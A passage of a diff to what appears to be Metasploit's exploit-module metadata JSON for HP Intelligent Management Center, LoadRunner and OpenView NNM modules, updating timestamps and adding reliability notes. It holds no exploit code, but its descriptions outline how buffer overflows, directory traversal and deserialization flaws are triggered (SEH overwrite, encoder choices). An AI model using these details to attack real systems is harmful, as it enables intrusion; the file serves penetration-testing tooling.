arbitrary files. This module has\n been tested successfully on HP Intelligent Management Center with BIMS 5.2 E0401 on Windows\n 2003 SP2.", + "description": "This module exploits a directory traversal vulnerability on the version 5.2 of the BIMS\n component from the HP Intelligent Management Center. The vulnerability exists in the\n UploadServlet, allowing the user to download and upload arbitrary files. This module has\n been tested successfully on HP Intelligent Management Center with BIMS 5.2 E0401 on Windows\n 2003 SP2.", "references": [ "CVE-2013-4822", "OSVDB-98247", @@ -167706,7 +172125,7 @@ "targets": [ "HP Intelligent Management Center 5.1 E0202 - 5.2 E0401 / BIMS 5.1 E0201 - 5.2 E0401 / Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_imc_bims_upload.rb", "is_install_path": true, "ref_name": "windows/http/hp_imc_bims_upload", @@ -167714,6 +172133,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -167721,9 +172149,7 @@ "exploit_windows/http/hp_imc_java_deserialize": { "name": "HP Intelligent Management Java Deserialization RCE", "fullname": "exploit/windows/http/hp_imc_java_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-03", "type": "exploit", @@ -167731,7 +172157,7 @@ "Steven Seeley (mr_me) of Offensive Security", "Carsten " ], - "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of\n Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit\n this vulnerability.\n\n The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by\n default. The issue results from the lack of proper validation of user-supplied data, which can result\n in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary\n code in the context of SYSTEM.", + "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of\n Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit\n this vulnerability.\n\n The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by\n default. The issue results from the lack of proper validation of user-supplied data, which can result\n in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary\n code in the context of SYSTEM.", "references": [ "CVE-2017-12557", "URL-https://github.com/pimps/ysoserial-modified/blob/master/src/main/java/ysoserial/payloads/JSON1.java", @@ -167758,7 +172184,7 @@ "targets": [ "HPE IMC 7.3 E0504P2 and earlier / Windows" ], - "mod_time": "2021-02-16 14:36:38 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_imc_java_deserialize.rb", "is_install_path": true, "ref_name": "windows/http/hp_imc_java_deserialize", @@ -167766,6 +172192,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -167773,9 +172208,7 @@ "exploit_windows/http/hp_imc_mibfileupload": { "name": "HP Intelligent Management Center Arbitrary File Upload", "fullname": "exploit/windows/http/hp_imc_mibfileupload", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-07", "type": "exploit", @@ -167783,7 +172216,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a code execution flaw in HP Intelligent Management Center.\n The vulnerability exists in the mibFileUpload which is accepting unauthenticated\n file uploads and handling zip contents in an insecure way. Combining both weaknesses\n a remote attacker can accomplish arbitrary file upload. This module has been tested\n successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.", + "description": "This module exploits a code execution flaw in HP Intelligent Management Center.\n The vulnerability exists in the mibFileUpload which is accepting unauthenticated\n file uploads and handling zip contents in an insecure way. Combining both weaknesses\n a remote attacker can accomplish arbitrary file upload. This module has been tested\n successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.", "references": [ "CVE-2012-5201", "OSVDB-91026", @@ -167812,7 +172245,7 @@ "targets": [ "HP Intelligent Management Center 5.1 E0202 / Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_imc_mibfileupload.rb", "is_install_path": true, "ref_name": "windows/http/hp_imc_mibfileupload", @@ -167820,6 +172253,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -167827,9 +172269,7 @@ "exploit_windows/http/hp_loadrunner_copyfiletoserver": { "name": "HP LoadRunner EmulationAdmin Web Service Directory Traversal", "fullname": "exploit/windows/http/hp_loadrunner_copyfiletoserver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-30", "type": "exploit", @@ -167837,7 +172277,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a directory traversal vulnerability in version 11.52 of HP\n LoadRunner. The vulnerability exists in the EmulationAdmin web service, specifically\n in the copyFileToServer method, allowing the upload of arbitrary files. This module has\n been tested successfully on HP LoadRunner 11.52 on Windows 2003 SP2.", + "description": "This module exploits a directory traversal vulnerability in version 11.52 of HP\n LoadRunner. The vulnerability exists in the EmulationAdmin web service, specifically\n in the copyFileToServer method, allowing the upload of arbitrary files. This module has\n been tested successfully on HP LoadRunner 11.52 on Windows 2003 SP2.", "references": [ "CVE-2013-4837", "OSVDB-99231", @@ -167866,7 +172306,7 @@ "targets": [ "HP LoadRunner 11.52" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb", "is_install_path": true, "ref_name": "windows/http/hp_loadrunner_copyfiletoserver", @@ -167874,6 +172314,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -167881,9 +172330,7 @@ "exploit_windows/http/hp_mpa_job_acct": { "name": "HP Managed Printing Administration jobAcct Remote Command Execution", "fullname": "exploit/windows/http/hp_mpa_job_acct", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-12-21", "type": "exploit", @@ -167920,31 +172367,28 @@ "targets": [ "HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/hp_mpa_job_acct.rb", "is_install_path": true, "ref_name": "windows/http/hp_mpa_job_acct", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_getnnmdata_hostname": { "name": "HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_getnnmdata_hostname", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.\n By sending specially crafted Hostname parameter to the getnnmdata.exe CGI,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.\n By sending specially crafted Hostname parameter to the getnnmdata.exe CGI,\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-1555", "OSVDB-64976" @@ -167971,7 +172415,7 @@ "HP OpenView Network Node Manager 7.50", "HP OpenView Network Node Manager 7.53" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_getnnmdata_hostname", @@ -167979,6 +172423,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -167986,16 +172439,14 @@ "exploit_windows/http/hp_nnm_getnnmdata_icount": { "name": "HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_getnnmdata_icount", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.\n By sending specially crafted ICount parameter to the getnnmdata.exe CGI,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.\n By sending specially crafted ICount parameter to the getnnmdata.exe CGI,\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-1554", "OSVDB-64976" @@ -168022,7 +172473,7 @@ "HP OpenView Network Node Manager 7.50", "HP OpenView Network Node Manager 7.53" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_getnnmdata_icount", @@ -168030,6 +172481,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168037,16 +172497,14 @@ "exploit_windows/http/hp_nnm_getnnmdata_maxage": { "name": "HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_getnnmdata_maxage", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.\n By sending specially crafted MaxAge parameter to the getnnmdata.exe CGI,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.\n By sending specially crafted MaxAge parameter to the getnnmdata.exe CGI,\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-1553", "OSVDB-64976" @@ -168073,7 +172531,7 @@ "HP OpenView Network Node Manager 7.50", "HP OpenView Network Node Manager 7.53" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_getnnmdata_maxage", @@ -168081,6 +172539,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168088,9 +172555,7 @@ "exploit_windows/http/hp_nnm_nnmrptconfig_nameparams": { "name": "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_nnmrptconfig_nameparams", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-10", "type": "exploit", @@ -168098,7 +172563,7 @@ "sinn3r ", "MC " ], - "description": "This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.\n A remote user can send a long string data to the nameParams parameter via\n a POST request, which causes an overflow on the stack when function\n ov.sprintf_new() is used, and gain arbitrary code execution.'", + "description": "This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.\n A remote user can send a long string data to the nameParams parameter via\n a POST request, which causes an overflow on the stack when function\n ov.sprintf_new() is used, and gain arbitrary code execution.'", "references": [ "CVE-2011-0266", "OSVDB-70473", @@ -168127,7 +172592,7 @@ "HP NNM 7.53 Windows Server 2003 Enterprise", "HP OpenView Network Node Manager 7.50" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_nnmrptconfig_nameparams", @@ -168135,6 +172600,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168142,16 +172616,14 @@ "exploit_windows/http/hp_nnm_nnmrptconfig_schdparams": { "name": "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_nnmrptconfig_schdparams", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-10", "type": "exploit", "author": [ "sinn3r " ], - "description": "This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,\n the overflow occurs during a ov.sprintf_new() call, which allows an attacker to\n overwrite data on the stack, and gain arbitrary code execution.", + "description": "This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,\n the overflow occurs during a ov.sprintf_new() call, which allows an attacker to\n overwrite data on the stack, and gain arbitrary code execution.", "references": [ "CVE-2011-0267", "OSVDB-70473", @@ -168178,7 +172650,7 @@ "targets": [ "NNM 7.53 - Windows Server 2003 Ent" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_nnmrptconfig_schdparams", @@ -168186,6 +172658,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168193,16 +172674,14 @@ "exploit_windows/http/hp_nnm_openview5": { "name": "HP OpenView Network Node Manager OpenView5.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_openview5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-12-06", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\n By sending a specially crafted CGI request, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\n By sending a specially crafted CGI request, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2007-6204", "OSVDB-39530", @@ -168211,16 +172690,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP OpenView Network Node Manager 7.50 / Windows 2000 All" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_openview5.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_openview5", @@ -168228,6 +172703,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168235,16 +172719,14 @@ "exploit_windows/http/hp_nnm_ovalarm_lang": { "name": "HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovalarm_lang", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-09", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.\n By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute\n arbitrary code.\n\n This specific vulnerability is due to a call to \"sprintf_new\" in the \"isWide\"\n function within \"ovalarm.exe\". A stack buffer overflow occurs when processing an\n HTTP request that contains the following.\n\n 1. An \"Accept-Language\" header longer than 100 bytes\n 2. An \"OVABverbose\" URI variable set to \"on\", \"true\" or \"1\"\n\n The vulnerability is related to \"_WebSession::GetWebLocale()\".\n\n NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.\n By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute\n arbitrary code.\n\n This specific vulnerability is due to a call to \"sprintf_new\" in the \"isWide\"\n function within \"ovalarm.exe\". A stack buffer overflow occurs when processing an\n HTTP request that contains the following.\n\n 1. An \"Accept-Language\" header longer than 100 bytes\n 2. An \"OVABverbose\" URI variable set to \"on\", \"true\" or \"1\"\n\n The vulnerability is related to \"_WebSession::GetWebLocale()\".\n\n NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.", "references": [ "CVE-2009-4179", "OSVDB-60930", @@ -168274,7 +172756,7 @@ "HP OpenView Network Node Manager 7.53", "HP OpenView Network Node Manager 7.53 (Windows 2003)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_ovalarm_lang", @@ -168282,6 +172764,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168289,9 +172780,7 @@ "exploit_windows/http/hp_nnm_ovas": { "name": "HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovas", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-04-02", "type": "exploit", @@ -168299,7 +172788,7 @@ "bannedit ", "muts" ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager versions 7.53 and earlier.\n Specifically this vulnerability is caused by a failure to properly handle user supplied input within the\n HTTP request including headers and the actual URL GET request.\n\n Exploitation is tricky due to character restrictions. It was necessary to utilize a egghunter shellcode\n which was alphanumeric encoded by muts in the original exploit.\n\n If you plan on using exploit this for a remote shell, you will likely want to migrate to a different process\n as soon as possible. Any connections get reset after a short period of time. This is probably some timeout\n handling code that causes this.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager versions 7.53 and earlier.\n Specifically this vulnerability is caused by a failure to properly handle user supplied input within the\n HTTP request including headers and the actual URL GET request.\n\n Exploitation is tricky due to character restrictions. It was necessary to utilize a egghunter shellcode\n which was alphanumeric encoded by muts in the original exploit.\n\n If you plan on using exploit this for a remote shell, you will likely want to migrate to a different process\n as soon as possible. Any connections get reset after a short period of time. This is probably some timeout\n handling code that causes this.", "references": [ "CVE-2008-1697", "OSVDB-43992", @@ -168328,7 +172817,7 @@ "Windows 2003/zip.dll OpenView 7.53", "Windows 2000/jvm.dll OpenView NNM 7.51" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_ovas.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_ovas", @@ -168336,6 +172825,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168343,9 +172841,7 @@ "exploit_windows/http/hp_nnm_ovbuildpath_textfile": { "name": "HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovbuildpath_textfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-01", "type": "exploit", @@ -168383,7 +172879,7 @@ "targets": [ "HP OpenView Network Node Manager 7.53 / Windows 2000 SP4 & Windows XP SP3" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_ovbuildpath_textfile", @@ -168391,6 +172887,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -168398,16 +172903,14 @@ "exploit_windows/http/hp_nnm_ovwebhelp": { "name": "HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebhelp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-09", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\n By sending a specially crafted CGI request to OvWebHelp.exe, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\n By sending a specially crafted CGI request to OvWebHelp.exe, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2009-4178", "OSVDB-60929", @@ -168434,7 +172937,7 @@ "targets": [ "HP OpenView Network Node Manager 7.50" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_ovwebhelp", @@ -168442,6 +172945,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168449,16 +172961,14 @@ "exploit_windows/http/hp_nnm_ovwebsnmpsrv_main": { "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe main Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_main", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-06-16", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.\n\n This vulnerability is triggerable via either a GET or POST request. The buffer being\n written to is 1024 bytes in size. It is important to note that this vulnerability must\n be exploited by overwriting SEH. Otherwise, CVE-2010-1961 is triggered!\n\n The vulnerable code is within the \"main\" function within \"ovwebsnmpsrv.exe\" with a\n timestamp prior to April 7th, 2010. There are no stack cookies, so exploitation is\n easily achieved by overwriting SEH structures.\n\n There exists some unreliability when running this exploit. It is not completely clear why\n at this time, but may be related to OVWDB or session management. Also, on some attempts\n OV NNM may report invalid characters in the URL. It is not clear what is causing this\n either.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.\n\n This vulnerability is triggerable via either a GET or POST request. The buffer being\n written to is 1024 bytes in size. It is important to note that this vulnerability must\n be exploited by overwriting SEH. Otherwise, CVE-2010-1961 is triggered!\n\n The vulnerable code is within the \"main\" function within \"ovwebsnmpsrv.exe\" with a\n timestamp prior to April 7th, 2010. There are no stack cookies, so exploitation is\n easily achieved by overwriting SEH structures.\n\n There exists some unreliability when running this exploit. It is not completely clear why\n at this time, but may be related to OVWDB or session management. Also, on some attempts\n OV NNM may report invalid characters in the URL. It is not clear what is causing this\n either.", "references": [ "CVE-2010-1964", "OSVDB-65552", @@ -168488,7 +172998,7 @@ "HP OpenView Network Node Manager 7.53 (Windows 2003)", "Debug Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_ovwebsnmpsrv_main", @@ -168496,6 +173006,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168503,16 +173022,14 @@ "exploit_windows/http/hp_nnm_ovwebsnmpsrv_ovutil": { "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_ovutil", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-06-16", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.\n\n This vulnerability is triggerable via either a GET or POST request. It is interesting to\n note that this vulnerability cannot be exploited by overwriting SEH, since attempting\n to would trigger CVE-2010-1964.\n\n The vulnerable code is within a sub-function called from \"main\" within \"ovwebsnmpsrv.exe\"\n with a timestamp prior to April 7th, 2010. This function contains a 256 byte stack buffer\n which is passed to the \"getProxiedStorageAddress\" function within ovutil.dll. When\n processing the address results in an error, the buffer is overflowed in a call to sprintf_new.\n There are no stack cookies present, so exploitation is easily achieved by overwriting the\n saved return address.\n\n There exists some unreliability when running this exploit. It is not completely clear why\n at this time, but may be related to OVWDB or session management. Also, on some attempts\n OV NNM may report invalid characters in the URL. It is not clear what is causing this\n either.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.\n\n This vulnerability is triggerable via either a GET or POST request. It is interesting to\n note that this vulnerability cannot be exploited by overwriting SEH, since attempting\n to would trigger CVE-2010-1964.\n\n The vulnerable code is within a sub-function called from \"main\" within \"ovwebsnmpsrv.exe\"\n with a timestamp prior to April 7th, 2010. This function contains a 256 byte stack buffer\n which is passed to the \"getProxiedStorageAddress\" function within ovutil.dll. When\n processing the address results in an error, the buffer is overflowed in a call to sprintf_new.\n There are no stack cookies present, so exploitation is easily achieved by overwriting the\n saved return address.\n\n There exists some unreliability when running this exploit. It is not completely clear why\n at this time, but may be related to OVWDB or session management. Also, on some attempts\n OV NNM may report invalid characters in the URL. It is not clear what is causing this\n either.", "references": [ "CVE-2010-1961", "OSVDB-65428", @@ -168543,7 +173060,7 @@ "HP OpenView Network Node Manager 7.53 (Windows 2003)", "Debug Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_ovwebsnmpsrv_ovutil", @@ -168551,6 +173068,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168558,16 +173084,14 @@ "exploit_windows/http/hp_nnm_ovwebsnmpsrv_uro": { "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_uro", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-06-08", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.\n The vulnerable code is within the option parsing function within \"ovwebsnmpsrv.exe\" with a\n timestamp prior to April 7th, 2010.\n\n Reaching the vulnerable code requires a 'POST' request with an 'arg' parameter that, when combined\n with some static text, exceeds 10240 bytes. The parameter must begin with a dash. It is\n important to note that this vulnerability must be exploited by overwriting SEH. This is since\n overflowing the buffer with controllable data always triggers an access violation when\n attempting to write static text beyond the end of the stack.\n\n Exploiting this issue is a bit tricky due to a restrictive character set. In order to accomplish\n arbitrary code execution, a double-backward jump is used in combination with the Alpha2\n encoder.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.\n The vulnerable code is within the option parsing function within \"ovwebsnmpsrv.exe\" with a\n timestamp prior to April 7th, 2010.\n\n Reaching the vulnerable code requires a 'POST' request with an 'arg' parameter that, when combined\n with some static text, exceeds 10240 bytes. The parameter must begin with a dash. It is\n important to note that this vulnerability must be exploited by overwriting SEH. This is since\n overflowing the buffer with controllable data always triggers an access violation when\n attempting to write static text beyond the end of the stack.\n\n Exploiting this issue is a bit tricky due to a restrictive character set. In order to accomplish\n arbitrary code execution, a double-backward jump is used in combination with the Alpha2\n encoder.", "references": [ "CVE-2010-1960", "OSVDB-65427", @@ -168596,7 +173120,7 @@ "HP OpenView Network Node Manager 7.53 w/NNM_01206", "Debug Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_ovwebsnmpsrv_uro", @@ -168604,6 +173128,15 @@ "post_auth": 